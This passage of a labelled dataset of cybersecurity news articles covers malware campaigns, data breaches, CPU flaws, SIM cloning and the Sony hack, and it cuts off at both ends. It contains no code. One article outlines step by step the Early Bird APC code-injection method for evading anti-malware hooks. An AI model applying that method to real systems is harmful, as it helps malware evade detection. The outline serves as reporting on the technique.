""The subject line in all cases read ""Scan Data"" and included attachments named ""Scan_123456.doc"" or ""Scan_123456.pdf"", where ""123456"" was replaced with random digits...the spoofed email domains and the common practice of emailing digitized versions of documents make the lures fairly convincing.""
As we reported on Saturday, this zero-day flaw is severe because it gives hackers power to bypass most exploit mitigations developed by Microsoft, and unlike past Word exploits seen in the wild, it doesn't require victims to enable Macros.

Moreover, given the danger of Dridex – also known as Bugat and Cridex – banking trojan, people are strongly advised not to open Word documents attached to an email from anyone, even if you know the sender until Microsoft releases a patch.

Microsoft knew of the flaw very long ago

According to researchers at McAfee and FireEye, Microsoft has known of the remote code flaw since January and could release a patch for the vulnerability today, as part of its regular Patch Tuesday routine.

However, an independent security researcher Ryan Hanson claimed that he discovered this 0-day, along with the two other flaws, in July and reported it to Microsoft in October 2016.
""The initial discovery was in July, which was followed up by additional research and the identification of a protected view bypass vulnerability. Those two bugs and an additional Outlook bug were submitted to MS in October,"" Hanson told The Hacker News.
""There may very well be additional HTA related vectors in Office, but based on the detail provided by McAfee, the vulnerability they've identified functions exactly like the one I disclosed. The only difference I see is the VBScript payload, since my payload simply executed calc.exe.""
If the claims made by Hanson is true and his reported vulnerability is the same being used in the wild to spread Dridex, Microsoft left its customers vulnerable to the attacks even after being known of the critical flaw for quite long.

Enable 'Protected View' in Microsoft Office to Prevent Attack

Since the attack does not work when a malicious document is viewed in Office Protected View, users are advised to enable this feature in order to view any Office documents.

For more technical details about the latest Dridex malware campaign exploiting the unpatched Microsoft Word flaw, you can head on to the blog post published by Proofpoint.

",Vulnerability
First Large Cyber Espionage Activity against Pakistan Emanating From India,https://thehackernews.com/2013/05/first-large-cyber-espionage-activity.html,"Cyber Security researchers have discovered a family of information stealing malware targeting Pakistan that originates out of India.

Norman Shark, the global security leader in malware analysis solutions for enterprises, service providers and government, today released a report detailing a large and sophisticated cyber-attack infrastructure that appears to have originated from India.
The attacks, conducted by private threat actors over a period of three years and still ongoing, showed no evidence of state sponsorship but the primary purpose of the global command-and-control network appears to be intelligence gathering from a combination of national security targets and private sector companies.

Attackers used known vulnerabilities in Microsoft software, chucking malware dubbed HangOver onto target machines, most of which were based in Pakistan, where 511 infections associated with the campaign were detected. HangOver installs keyloggers, takes screenshots and records victims' browser usage, before sending the pilfered data off to remote servers by FTP or HTTP.

The malware installed on the infected computers is primarily designed to steal information, but its functionality can be enhanced with additional modules.

There's also evidence that the attackers are signing their code with an old certificate that was issued in 2011 to Technical and Commercial Consulting Pvt. Ltd., a firm based in New Delhi, India. The certificate had been revoked in late March 2012, but was still in use. Eset contacted VeriSign, which revoked the certificate. Eset found more than 70 binary files signed with the malicious certificate.

The payloads dropped by the malware offer a range from access. ESET discovered downloaders, document uploaders, keyloggers, reverse shells, and payloads with the ability to self-replicate within a network.

There was another association with India in the repeated appearance of the word ""Appin"". ""There seems to be some connection with the Indian security company called Appin Security Group,"" Norman wrote. Domains used by the attack infrastructure were shown to have been registered by Appin Security Solutions too.

Another firm, Mantra Tech Ventures, was also hosting a number of malicious sites run by the attackers, Norman said.

The report said that the attackers used NirSoft's WebPassView and Mail PassView tools for recovering passwords in email clients and browser stores; the tools were signed by the malicious certificate.

Update: Spokesperson from Appin responded about the Norman's Findings via email ""Appin The Appin Security Group is no manner connected or involved with the activities as sought to be implied in the alleged report. As is apparent from the alleged report itself, the same is only a marketing gimmick on the part of Norman AS. The Appin Security Group has already initiated legal proceedings against Norman AS."" Abhishek, Corporate Communications Team, Appin Security Group said.

",Vulnerability
Security Risks of FTP and Benefits of Managed File Transfer,https://thehackernews.com/2013/12/security-risks-of-ftp-and-benefits-of.html,"File transfer services such as FTP or HTTP has been the most common way of file transfer for business requirements. Typically what a file transfer means is that a file transfer protocol such as FTP or HTTP is used to send the stream of bits stored as a single unit in a file system including file name, file size, timestamp and other metadata from one host to another host over a TCP-based network such as the Internet.
But this process is not foolproof. FTP, by itself, is not a secure file transfer protocol and it has a lot of security vulnerabilities. It's a known fact that FTP doesn't provide any encryption for data transfer. Most of the times, the requirement in any business is pretty simple: to transfer files between two endpoints in different locations, and the parties involved do not think much about how secure the file transfer process is going to be.

Using FTP for official file transfer can leave your data transmission exposed to many security attacks:

FTP Bounce Attack
Generally a file transfer happens when the source FTP server sends the data to the client which transmits the data to the destination FTP server. When there's a slow network connection, people often resort to using a proxy FTP which makes the client instructs the data transmission directly between two FTP servers. A hacker can take advantage of this type of file transfer and use a PORT command to request access to ports by posing as a middle man for the file transfer request; then execute port scans on hosts discreetly and gain access data transmitted over the network.

FTP Brute Force Attack
An attacker can carry out a brute force attack to guess the FTP server password by implementing a means to repeatedly try different password combinations until they can succeed in the break-in. A weak password and repeated use of the same password for multiple FTP servers can also help the hacker gain quick access. Once the password is guessed, your data is exposed.

Packet Capture (or Sniffing)
Because the data transfer via FTP is in clear text, any sensitive information such as usernames, passwords can be easily read network packet capture techniques such as packet sniffing. A packet sniffer is just a piece of computer program which can capture transmitted data packets and decode the packet's raw data exposing data contained in the various fields of the packet.

Spoof Attack
When we restrict access to FTP servers based on the network address, it is possible that a cyber-criminal can use an external computer and assume the host address of a computer on the enterprise network, and download files during data transfer.

Port Stealing
When operating systems assign dynamic port numbers in a particular order or pattern, an attacker easily decodes the pattern and identify the next port number which will be used. By illegally gaining access to a port number, the legitimate client trying to access the file will be denied and the hacker can steal files, or even insert a forged file or malicious file into the data stream which will be accessed by other legitimate users in the organization.

As we discussed above, there are a lot of devious means to intercepting an FTP-based file transfer and the chances of your data being exposed is also high. Networks that adhere to federal compliance norms such as PCI DSS, HIPAA, GLBA, etc. and those agencies and institutions that share government data, and customer records are at high risk if they just depend on FTP for file transfer. So, what's the optimum solution if not FTP?

Managed File Transfer Remedies the Vulnerabilities in FTP
Managed file transfer (MFT) is the best option for file transfer compared to all other file sharing methods such as using FTP, HTTP, TFTP, peer-to-peer file sharing and cloud drives. A managed file transfer server facilitates secure file transfer through the Internet by providing a high level of data security. The MFT server software provides secure internal, external and ad-hoc file transfers for both pull-based and push-based file transfers.

Though MFT also uses FTP for data transfer, this type of file transfer ensures the data is protected by using secure FTP (FTPS, SFTP, etc.) With B2B file transfers, especially in a DMZ environment when internal IP addresses need to be concealed, MFT server's authentication and data encryption methods help ensure secure, reliable and auditable file transfer.

MFT is widely used for securely transferring files over public or private networks and you can:
Perform secure file transfer via FTP, FTPS, SFTP, HTTP and HTTPS over IPv4 or IPv6 networks
Carry out ad hoc file transfer
Monitor the file transfer process in real time
Get notified of the status once the transfer is complete
Report on transfer activity and user access
Limit MFT access by user role and integration with Active Directory®
Transport large wiles with integrity checks and protocol fidelity
When the secure file transfer is concerned at an organizational level, MFT server is the best option that ensures both security and endpoint management simplicity when compared to FTP.

Guest Post by: Vinod Mohan, Product Marketing Specialist Team Lead at SolarWinds with technical expertise in IT management and operations spanning IT security, SIEM, network management, application, systems, storage & Virtualization management.

",Cyber_Attack
This Creepy App Captures Users' Private Moment Photos and Blackmails for Money,https://thehackernews.com/2015/09/hacker-blackmail.html,"How difficult is for hackers to take over your personal photographs?

They just need to trick you to download an app, or may be a Porn app.

Yes, if you are one of those who can't resist watching porn then you could be an easy target for hackers who are distributing ransomware via malicious pornography app to run you out of your money.

A pornography application for Android called Adult Player that promises free pornographic videos has been caught taking photographs of users and then extorting them for ransom (Cyber Extortion).

Once installed, Adult Player gains administrator access to the victim's device, which then allows it to load malicious ransomware files.

When Hackers Turn to Blackmail: Demands $500 Ransom

When a user opens the app, Adult Player secretly takes photos of the user with the help of front-facing camera and then demands a $500 (£330) ransom in order to restore the device access and delete all photos stored on attackers server.

Before demanding ransom, the ransomware locks the victim's device to prevent access from regular use and displays a warning message until the payment is received through PayPal.

According to the researchers from the security firm Zscaler, which uncovered the creepy nature of Adult Player, the app isn't available on the official Google Play Store and is distributed through adult websites.

How to Get Rid of this Android Ransomware?

Adult Player takes complete control of your device using the administrator privileges that you grant the app before installing, therefore restarting your device won't cause the ransom page requesting $500 to disappear.

However, you can uninstall Adult Player by following these simple steps:
Boot your device into ""Safe Mode,"" as it boots your device with default settings without running any third-party applications and allowing users to delete malicious software.
To uninstall the ransomware from your device, you need to first remove administrator privilege by going to Settings –> Security –> Device Administrator and then select ransomware app and deactivate it.
Once this is done, you can again go to Settings –> Apps –> Uninstall ransomware app.
The bottom line:

To avoid falling a victim to malicious apps like Adult Player, Android users are again reminded:
Don't install apps from outside of the Google Play Store
Don't grant administrator privileges to apps unless you truly trust them
Read More:
'Tox' Offers Free build-your-own Ransomware Malware Toolkit
Free Ransomware Decryption and Malware Removal ToolKit

",Malware
TrickBot Botnet Found Deploying A New Ransomware Called Diavol,https://thehackernews.com/2021/07/trickbot-botnet-found-deploying-new.html,"Threat actors behind the infamous TrickBot malware have been linked to a new ransomware strain named ""Diavol,"" according to the latest research.
Diavol and Conti ransomware payloads were deployed on different systems in a case of an unsuccessful attack targeting one of its customers earlier this month, researchers from Fortinet's FortiGuard Labs said last week.
TrickBot, a banking Trojan first detected in 2016, has been traditionally a Windows-based crimeware solution, employing different modules to perform a wide range of malicious activities on target networks, including credential theft and conduct ransomware attacks.
Despite efforts by law enforcement to neutralize the bot network, the ever-evolving malware has proven to be a resilient threat, what with the Russia-based operators — dubbed ""Wizard Spider"" — quickly adapting new tools to carry out further attacks.
Diavol is said to have been deployed in the wild in one incident to date. The source of intrusion remains unknown as yet. What's clear, though, is that the payload's source code shares similarities with that of Conti, even as its ransom note has been found to reuse some language from Egregor ransomware.
""As part of a rather unique encryption procedure, Diavol operates using user-mode Asynchronous Procedure Calls (APCs) without a symmetric encryption algorithm,"" the researchers said. ""Usually, ransomware authors aim to complete the encryption operation in the shortest amount of time. Asymmetric encryption algorithms are not the obvious choice as they [are] significantly slower than symmetric algorithms.""
Another aspect of the ransomware that stands out is its reliance on an anti-analysis technique to obfuscate its code in the form of bitmap images, from where the routines are loaded into a buffer with execute permissions.
Prior to locking files and changing the desktop wallpaper with a ransom message, some of the major functions carried out by Diavol include registering the victim device with a remote server, terminating running processes, finding local drives and files in the system to encrypt, and preventing recovery by deleting shadow copies.
Wizard Spider's nascent ransomware effort also coincides with ""new developments to the TrickBot webinject module,"" as detailed by Kryptos Logic Threat Intelligence team, indicating that the financially motivated cybercrime group is still actively retooling its malware arsenal.
""TrickBot has brought back their bank fraud module, which has been updated to support Zeus-style webinjects,"" cybersecurity researcher Marcus Hutchins tweeted. ""This could suggest they are resuming their bank fraud operation, and plan to expand access to those unfamiliar with their internal webinject format.""

",Malware
"Putin: Hackers Are Like Artists, Who Wake Up In A Good Mood & Start Painting",https://thehackernews.com/2017/06/putin-russian-hackers.html,"Just control your laughter, while reading this article. I insist.

Talking to international media at the St Petersburg Economic Forum on Thursday, Russian President Vladimir Putin made a number of statement surrounding alleged Russia's involvement in hacking.

If you are not aware, Russia has been the focus of the U.S. investigations for its purported role in interfering with the 2016 US presidential election, which saw several major hacks, including Democratic National Committee and Hillary Clinton campaign emails.

The US authorities and intelligence community concluded in January that Mr. Putin had personally directed cyber attacks against Democrats and the dissemination of false information in order to influence US election and help Mr. Trump win the election.

Putin: Russia Has Never Been Involved in Hacking
Today Mr. Putin denied all the allegations of Russian engagement in the U.S. election hacking, saying that the Russian state had never been involved in hacking.

I know you would take some time even to digest this statement, but trust me this one is nothing. You would start laughing after reading his other comments mentioned in this article.
""We don't engage in that at the state level,"" Mr. Putin said, according to the Associated Press.
""I'm deeply convinced that no hackers can radically influence another country's election campaign,"" Mr. Putin added. ""No hackers can influence election campaigns in any country of Europe, Asia or America.""
So, Putin, who limits the freedom of the press and is accused of killing political opponents and journalists to prevent them from reporting on topics that can anger the Kremlin, is saying that ""no information will change the minds of the people or influence the outcome"" of the election.

Putin: Patriotic Hackers May Have Targeted U.S. Election
Besides insisting that the Russian government has no involvement in such cyber attacks, Mr. Putin said that some individual ""patriotic"" hackers who love their country could mount such attacks against those who ""speak negatively about"" their country.

""If they are patriotically minded, they start making their contributions – which are right, from their point of view – to fight against those who say bad things about Russia,"" Mr. Putin said.

Is he just encouraging hackers to conduct cyber attacks against rival nations by making such comments?

As for his dealings with US President Donald Trump, Mr. Putin also said Moscow would wait for the current political storm in the United States to settle down before he attempts to forge constructive relations with Mr. Trump, whom he praised for being ""straightforward"" with ""fresh set of eyes.""

Putin: Hackers are Like Artists, Who Wake Up and Start Painting!
""Hackers are free people, just like artists who wake up in the morning in a good mood and start painting,"" Mr. Putin said.

""The hackers are the same, they would wake up, read about something going on in interstate relations and if they have patriotic leanings, they may try to add their contribution to the fight against those who speak badly about Russia.""

So, Mr. Putin wants to say that hackers can contribute to their nation by attacking their country's rivals. WOW!

Describing hackers as free-spirited artists acting according to their moods, Mr. Putin said cyber attacks on DNC and Hillary Clinton presidential campaign could be made to look like they had come from Russia when they hadn't actually.

""I can imagine that some do it deliberately, staging a chain of attacks in such a way as to cast Russia as the origin of such an attack,"" Mr. Putin added. ""Modern technologies allow that to be done quite easily.""

Mr. Putin's remarks are similar to the ones from Mr. Trump, who has previously dismissed accusations of Russian involvement in the DNC hack and said that the hacks could be by ""somebody sitting on their bed that weighs 400 pounds.""

While Mr. Putin may deny the hacking allegations, which he believes are ""not based on facts,"" many cyber security and espionage experts have discovered that Russia has in the past ""outsourced"" its hacking efforts to state-sponsored criminal gangs.

",Cyber_Attack
Hackers Found Using A New Code Injection Technique to Evade Detection,https://thehackernews.com/2018/04/early-bird-code-injection.html,"While performing in-depth analysis of various malware samples, security researchers at Cyberbit found a new code injection technique, dubbed Early Bird, being used by at least three different sophisticated malware that helped attackers evade detection.

As its name suggests, Early Bird is a ""simple yet powerful"" technique that allows attackers to inject malicious code into a legitimate process before its main thread starts, and thereby avoids detection by Windows hook engines used by most anti-malware products.

The Early Bird code injection technique ""loads the malicious code in a very early stage of thread initialization, before many security products place their hooks—which allows the malware to perform its malicious actions without being detected,"" the researchers said.

The technique is similar to the AtomBombing code injection technique that does not rely on easy-to-detect API calls, allowing malware to inject code into processes in a manner that no anti-malware tools can detect.

How Early Bird Code Injection Works
Early Bird code injection method relies on a Windows built-in APC (Asynchronous Procedure Calls) function that allows applications to execute code asynchronously in the context of a particular thread.

Here's a brief step-by-step explanation of how an attacker can inject malicious code into a legitimate process in a way that it gets executed earlier before an anti-malware program starts scanning.

Create a suspended process of a legitimate Windows process (e.g., svchost.exe)
Allocate memory in that process (svchost.exe) and write the malicious code into the allocated memory region,
Queue an asynchronous procedure call (APC) to the main thread of that process (svchost.exe),
Since APC can execute a process only when it is in an alertable state, call NtTestAlert function to force kernel into executing the malicious code as soon as the main thread resumes.

According to the researchers, at least three following-mentioned malware were found using Early Bird code injection in the wild.

""TurnedUp"" backdoor, developed by an Iranian hacking group (APT33)
A variant of ""Carberp"" banking malware
""DorkBot"" malware

Initially discovered by FireEye in September 2017, TurnedUp is a backdoor that is capable of exfiltrating data from the target system, creating reverse shells, taking screenshots as well as gathering system information.
Dates back to 2012, DorBot is botnet malware distributed via links on social media, instant messaging apps or infected removable media and is used to steal users' credentials for online services, including banking services, participate in distributed denial-of-service (DDoS) attacks, send spam and deliver other malware to victims' computers.

Researchers have also provided a video demonstration, which shows the new Early Bird code injection technique in action.

",Malware
Emerging Ransomware Targets Dozens of Businesses Worldwide,https://thehackernews.com/2021/06/emerging-ransomware-targets-dozens-of.html,"An emerging ransomware strain in the threat landscape claims to have breached 30 organizations in just four months since it went operational by riding on the coattails of a notorious ransomware syndicate.
First observed in February 2021, ""Prometheus"" is an offshoot of another well-known ransomware variant called Thanos, which was previously deployed against state-run organizations in the Middle East and North Africa last year.
The affected entities are believed to be government, financial services, manufacturing, logistics, consulting, agriculture, healthcare services, insurance agencies, energy and law firms in the U.S., U.K., and a dozen more countries in Asia, Europe, the Middle East, and South America, according to new research published by Palo Alto Networks' Unit 42 threat intelligence team.
Like other ransomware gangs, Prometheus takes advantage of double-extortion tactics and hosts a dark web leak site, where it names and shames new victims and makes stolen data available for purchase, while managing to inject a veneer of professionalism into its criminal activities.
""Prometheus runs like a professional enterprise,"" Doel Santos, Unit 42 threat intelligence analyst, said. ""It refers to its victims as 'customers,' communicates with them using a customer service ticketing system that warns them when payment deadlines are approaching and even uses a clock to count down the hours, minutes and seconds to a payment deadline.""
However, only four of those 30 affected organizations opted to pay ransoms to date, the cybersecurity firm's analysis revealed, including a Peruvian agricultural company, a Brazilian healthcare services provider, and two transportation and logistics organizations in Austria and Singapore.
It's worth noting that despite Prometheus' strong links to Thanos, the gang professes to be a ""group of REvil,"" one of the most prolific and infamous ransomware-as-a-service (RaaS) cartels in recent years, which the researchers speculate could be an attempt to deflect attention from Thanos or a deliberate ploy to trick victims into paying up by piggybacking on an established operation.
While the ransomware's intrusion route remains unclear as yet, it's expected that the group purchased access to target networks or staged spear-phishing and brute-force attacks to gain initial access. Following a successful compromise, the Prometheus modus operandi involves terminating backup and security software-related processes on the system to lock the files behind encryption barriers.
""The Prometheus ransomware operators generate a unique payload per victim, which is used for their negotiation site to recover files,"" Santos said, adding the ransom demand ranges anywhere between $6,000 and $100,000 depending on the victim organization, a price that gets doubled if the victim fails to pay up within the designated time period.
The development also comes as cybercrime groups are increasingly targeting SonicWall devices to breach corporate networks and deploy ransomware. A report published by CrowdStrike this week found evidence of remote access vulnerabilities (CVE-2019-7481) in SonicWall SRA 4600 VPN appliances being exploited as an initial access vector for ransomware attacks targeting organizations worldwide.

",Malware
Researcher Publishes 10 Million Usernames and Passwords from Data Breaches,https://thehackernews.com/2015/02/researcher-publishes-10-million_10.html,"A security researcher has publicly released a set of 10 Million usernames and passwords, which he collected from multiple data breaches over the last decade for the purpose of his research.

These 10 million usernames and passwords are collective of leaked database dumps those were already available publicly on the Internet. However, Mark Burnett, a well-known security consultant who has developed a specialty collecting and researching passwords leaked online, marked his decision to publish the password dump as legally risky, but necessary to help security researchers.

WHY IS THE RESEARCHER WILLING TO SHARE PASSWORDS ?
The researcher says the released set of passwords and usernames is like a sample data, which is important for other researchers to analyze and provide great insight into user behavior and is valuable for encouraging password security.

Also, the researcher was frequently receiving lots of requests from students and other security researchers to submit a copy of his password research data for their own analysis.

WHAT PANICS HIM OF SHARING HIS RESEARCH ?
At the time, he typically decline to share the passwords because he was worried that if he do so, it might harm him legally given the recent five-year sentence handed to former Anonymous activist and journalist Barrett Brown, for sharing the hyperlink to an IRC (Internet Relay Chat) channel where Anonymous members were distributing stolen information from the hack.

However, at the same time, Burnett wanted to share his password research data with the world in order to study the way people choose pass phrases.
""I think this is completely absurd that I have to write an entire article justifying the release of this data out of fear of prosecution or legal harassment,"" he wrote in his blog post published Monday. ""I had wanted to write an article about the data itself but I will have to do that later because I had to write this lame thing trying to convince the FBI not to raid me.""
FROM WHERE DID THE CREDENTIALS COME ?
Burnett has collected the data from major data breaches at big companies including Adobe Data Breach and Stratfor hack, all of which have already been publicly available over the Internet, which could be easily found through Web searches.

According to the researcher, most of the leaked passwords were ""dead,"" meaning they had been changed already, and he has scrubbed other information such as domain names to make it unusable for cyber criminals and malicious hackers. However, usernames or passwords found on the list that are still in use should be changed immediately.

Burnett also explains the fact that he is not supposed to be arrested by the law enforcement agencies.

A SHORT INTERVIEW WITH MARK BURNETT
In a quick Interview on an email chat, I personally asked Mark few questions about exposing usernames/passwords publicly, and his answers are as follows:

Q: Could exposing the passwords publicly cause any threat to Online users?
A: As I said, ""If a hacker needs this list to hack someone, they probably aren't much of a threat."" It is important to note that I didn't leak these passwords, they are already out there.

Q: Have any Law enforcement agencies approached you yet?
A: Not yet, but its still early.

Q: Are these Usernames/Passwords include data from Adobe and LinkedIn breaches?
A: I only included breaches where there was both a username and password so that I could combine data from multiple sites. This would exclude LinkedIn and a few others. I also did not release any passwords that were not already available publicly unencrypted so that would exclude Adobe. Other than that it includes a bit of everything.

Q: Is there any strong reason behind sharing passwords publicly?
A: The primary purpose is to get good, clean, and consistent data out in the world so others can find new ways to explore and gain knowledge from it. I am frequently asked for my data but I have always been hesitant to share it due to privacy issues. While not perfect, this is a consistent data set we can all use to help further security.

'WHY THE FBI SHOULDN'T ARREST ME'
""Although researchers typically only release passwords, I am releasing usernames with the passwords. Analysis of usernames with passwords is an area that has been greatly neglected and can provide as much insight as studying passwords alone,"" Burnett wrote.

""Most researchers are afraid to publish usernames and passwords together because combined they become an authentication feature. If simply linking to already released authentication features in a private IRC channel was considered trafficking, surely the FBI would consider releasing the actual data to the public a crime.""

Almost 10 million passwords released by the researcher, for instance, could help other researchers to determine how often users include all or part of their usernames in their passwords. However, 10 Million is a very big number, but Burnett defended that all of the leaked data was already available online.

",Data_Breaches
Sony Pictures Hack — 5 Things You Need To Know,https://thehackernews.com/2014/12/sony-pictures-hack.html,"What a horrible start the holiday season in U.S. Over Thanksgiving weekend, Sony Pictures Entertainment suffered a massive data breach as ""Guardians of Peace"" hacked-into Sony Pictures' computer system that brought the studio's network to a screeching halt.

Following the hack, hackers leaked five unreleased Sony movies to Torrent file-sharing website during Black Friday. It's still not clear whether both the incident back to back with Sony Pictures belongs to same group of hackers or not, but here's what you need to know about the breach:

1. FBI MALWARE WARNING AFTER SONY PICTURES HACK
The U.S. Federal Bureau of Investigation (FBI) warned businesses that cyber criminals have used malicious software to launch destructive cyber-attacks in the United States, following the last week's massive data breach at Sony Pictures Entertainment, in which four unreleased films were stolen and pirate-shared.

In a five-page confidential 'flash' warning, FBI recommended users to strengthen the protection of their information systems and limit access to databases. But when asked if the same malicious software had been used against the Sony Pictures hack, FBI declined to comment.

This new ""destructive"" malware has capability to overwrite a victim host's master boot record and all data files. ""The overwriting of the data files will make it extremely difficult and costly, if not impossible, to recover the data using standard forensic methods,"" according to Reuters who independently obtained the report.

2. IS NORTH KOREA BEHIND THE CYBER ATTACK ON SONY PICTURES ?
As we reported earlier, Sony Pictures is investigating the possibility that hackers working on behalf of North Korea were behind the hacking incident.

Sony hack is the payback for upcoming Kim Jong assassination comedy film. It is because the hack comes just a month before the scheduled release of Sony's upcoming comedy ""The Interview,"" a comedy about two journalists who are recruited by the CIA to assassinate North Korean leader Kim Jong Un.

The film became a source of international controversy, and the Pyongyang government denounced the film as ""undisguised sponsoring of terrorism, as well as an Act of War"" in a letter to U.N. Secretary-General Ban Ki-moon in June.

But pointing finger towards North Korea without any strong evidence would be wrong. So, we still won't confirm whether its cyber war by North Korea or some other unknown, sophisticated hacker.

3. FIVE MOVIE LEAKED LINKED TO SONY PICTURES
Following the last weeks cyber-attack on Sony Pictures Entertainment, high-quality versions of five newest films – Annie, Fury, Still Alice, Mr. Turner and To Write Love on Her Arms – distributed by Sony Pictures leaked online during Black Friday.

Four of the leaked films have yet to hit the big screen. The remake of the 1982 released ""Annie"" is Sony's next big film, schedule to hit theaters on Dec. 19 with new stars Quvenzhané Wallis, Cameron Diaz and Jamie Foxx.

Two other new films, ""Mr. Turner"" and ""Still Alice"" are also considered possible Oscar contenders for their lead actors Timothy Spall and Julianne Moore.

4. SONY HIRED FIREEYE FOR INVESTIGATION
Sony Pictures Entertainment has hired Mandiant incident response team of FireEye Inc to help clean-up the damage caused by the huge cyber attack on its network, which forced its employees to put pen to paper over the last few weeks.

In addition to the FireEye, FBI is also investigating the matter and is looking into the devastating leak of four of its upcoming movies, although it has not been confirmed that the leak of all the films came from the same data breach.

Mandiant is a well-known security incident response team of FireEye which deals in forensic analysis, repairs and network restoration. Mandiant is the same team that helped in the catastrophic security breach experienced by one of the world's largest retailer Target in 2013.

5. SONY PICTURES HACK IS NOT THE COMPANY'S FIRST TIME HACK
In August, Sony's PlayStation Network was completely taken down by a distributed denial-of-service (DDoS) attack, a common technique used by hackers to overwhelm a system with traffic and make the network temporarily inaccessible to users.

The gaming network also suffered a more severe hack in 2011, which led to the exposure of 77 million PlayStation and Qriocity accounts along with 25 million Sony Online Entertainment accounts, bringing the total to more than 100 million in one of the largest data breaches ever. The hack cost Sony 14 billion yen ($172 million), and it took the networks -- for downloading and playing games, movies, and music -- offline for about a month before bringing them back up.

",Cyber_Attack
Forever 21 Confirms Security Breach Exposed Customer Credit Card Details,https://thehackernews.com/2018/01/credit-card-data-breach.html,"First notified in November of a data breach incident, popular clothing retailer Forever 21 has now confirmed that hackers stole credit card information from its stores throughout the country for several months during 2017.

Although the company did not yet specify the total number of its customers affected by the breach, it did confirm that malware was installed on some point of sale (POS) systems in stores across the U.S. at varying times between April 3, 2017, and November 18, 2017.

According to the company's investigation, which is still ongoing, the malware was designed to search for and likely steal sensitive customer credit card data, including credit card numbers, expiration dates, verification codes and, in some cases, cardholder names.

Forever 21 has been using encryption technology since 2015 to protect its payment processing systems, but during the investigation, the company found that some POS terminals at certain stores had their encryption switched off, which allowed hackers to install the malware.

However, according to the company, not every POS terminal in affected stores was infected with the malware and not every store was impacted during the full-time period (roughly 8 months) of the breach.

In fact, in some cases, payment card data stored in certain system logs before April 3rd were also exposed in the breach.
""Each Forever 21 store has multiple POS devices, and in most instances, only one or a few of the POS devices were involved. Additionally, Forever 21 stores have a device that keeps a log of completed payment card transaction authorizations,"" the company said while explaining the incident.
""When encryption was off, payment card data was being stored in this log. In a group of stores that were involved in this incident, malware was installed on the log devices that was capable of finding payment card data from the logs, so if encryption was off on a POS device prior to April 3, 2017, and that data was still present in the log file at one of these stores, the malware could have found that data.""
The company also assured its online customers that payment cards used on its website (forever21.com) were not affected by the breach.

Since payment processing systems outside of the United States work differently, it should not be impacted by the security breach, but the retailer said it's still investigating whether non-US stores were affected or not.

Forever 21 advised customers who shopped at its stores to stay vigilant and keep an eye on their credit transactions for any suspicious activity, and immediately notify their banks that issued the card if found any.

The company has promised to continue working with ""security firms to enhance"" their security measures.

This breach is yet another embarrassing incident disclosed recently, followed by Disqus' disclosure of a 5-year-old breach of over 17.5 million Disqus users and Yahoo's revelation that 2013 data breach affected all of its 3 Billion users.

The recent incidents also include Equifax's revelation of a breach of potentially 145.5 million customers, U.S. Securities and Exchange Commission (SEC) disclosure of a data breach that profited hackers, and Deloitte's disclosure of a cyber attack that led to the theft of its clients' private emails and documents.

",Data_Breaches
Huge Flaws Affect Nearly Every Modern Device; Patch Could Hit CPU Performance,https://thehackernews.com/2018/01/intel-kernel-vulnerability.html,"UPDATE: Researchers have finally disclosed complete technical details of two kernel side-channel attacks, Meltdown and Spectre—which affect not only Intel but also systems and devices running AMD, ARM processors—allowing attackers to steal sensitive data from the system memory.

____________

The first week of the new year has not yet been completed, and very soon a massive vulnerability is going to hit hundreds of millions of Windows, Linux, and Mac users worldwide.

According to a blog post published yesterday, the core team of Linux kernel development has prepared a critical kernel update without releasing much information about the vulnerability.

Multiple researchers on Twitter confirmed that Intel processors (x86-64) have a severe hardware-level issue that could allow attackers to access protected kernel memory, which primarily includes information like passwords, login keys, and files cached from disk.

The security patch implements kernel page-table isolation (KPTI) to move the kernel into an entirely separate address space and keeps it protected and inaccessible from running programs and userspace, which requires an update at the operating system level.
""The purpose of the series is conceptually simple: to prevent a variety of attacks by unmapping as much of the Linux kernel from the process page table while the process is running in user space, greatly hindering attempts to identify kernel virtual address ranges from unprivileged userspace code,"" writes Python Sweetness.
It is noteworthy that installing the update will hit your system speed negatively and could bring down CPUs performance by 5 percent to 30 percent, ""depending on the task and processor model.""
""With the page table splitting patches merged, it becomes necessary for the kernel to flush these caches every time the kernel begins executing, and every time user code resumes executing.""
Much details of the flaw have been kept under wraps for now, but considering its secrecy, some researchers have also speculated that a Javascript program running in a web browser can recover sensitive kernel-protected data.

AMD processors are not affected by the vulnerability due to security protections that the company has in place, said Tom Lendacky, a member of the Linux OS group at AMD.
""AMD processors are not subject to the types of attacks that the kernel page table isolation feature protects against,"" the company said.
""The AMD microarchitecture does not allow memory references, including speculative references, that access higher privileged data when running in a lesser privileged mode when that access would result in a page fault.""
The Linux patch that is being released for ALL x86 processors also includes AMD processors, which has also been considered insecure by the Linux mainline kernel, but AMD recommends specifically not to enable the patch for Linux.

Microsoft is likely to fix the issue for its Windows operating system in an upcoming Patch Tuesday, and Apple is also likely working on a patch to address the vulnerability.

",Vulnerability
Sim Card Cloning Hack affect 750 millions users around the world,https://thehackernews.com/2013/07/sim-card-cloning-hack-affect-750.html,"SIM cards are among the most widely-deployed computing platforms with over 7 billion cards in active use. Cracking SIM cards has long been the Holy Grail of hackers because the tiny devices are located in phones and allow operators to identify and authenticate subscribers as they use networks.
A German cryptographer Karsten Nohl, the founder of Security Research Labs claims to have found encryption and software flaws that could affect millions of SIM cards, and allows hackers to remotely gain control of and also clone certain mobile SIM cards.

This is the first hack of its kind in a decade. Nohl will be presenting his findings at the Black Hat security conference this year. He and his team tested close to 1,000 SIM cards for vulnerabilities, exploited by simply sending a hidden SMS.

According to him, Hackers could use compromised SIMs to commit financial crimes or engage in espionage. Once a hacker copies a SIM, it can be used to make calls and send text messages impersonating the owner of the phone.

The exploit only works on SIMs that use an old encryption technology known as DES. DES is used in around three billion mobile SIMs worldwide, of which Nohl estimates 750 million are vulnerable to the attack.

GSMA, which represents nearly 800 mobile operators, will notify telecommunications regulators and other government agencies in nearly 200 countries about the potential threat and also reach out to hundreds of mobile companies, academics and other industry experts.

Nohl believes that cyber criminals have already found the bug. Now the theoretical details of the vulnerability is out, he expects it would take them at least six months to crack it, by which time the wireless industry will have implemented available fixes.

",Vulnerability
300000 Android Devices infected by Premium SMS-Sending Malware,https://thehackernews.com/2014/02/android-Malware-subscription-premium-SMS-Services.html,"Downloading various apps blindly from Google play store may bring you at risk in terms of money.

PandaLabs, the Cloud Security Company, has identified malicious Android apps on Google Play that can sign up users for premium SMS subscription services without their permission and so far it has infected at least 300,000 Android users, although the number of malicious downloads could have reached 4 times higher i.e. 1,200,000 users.

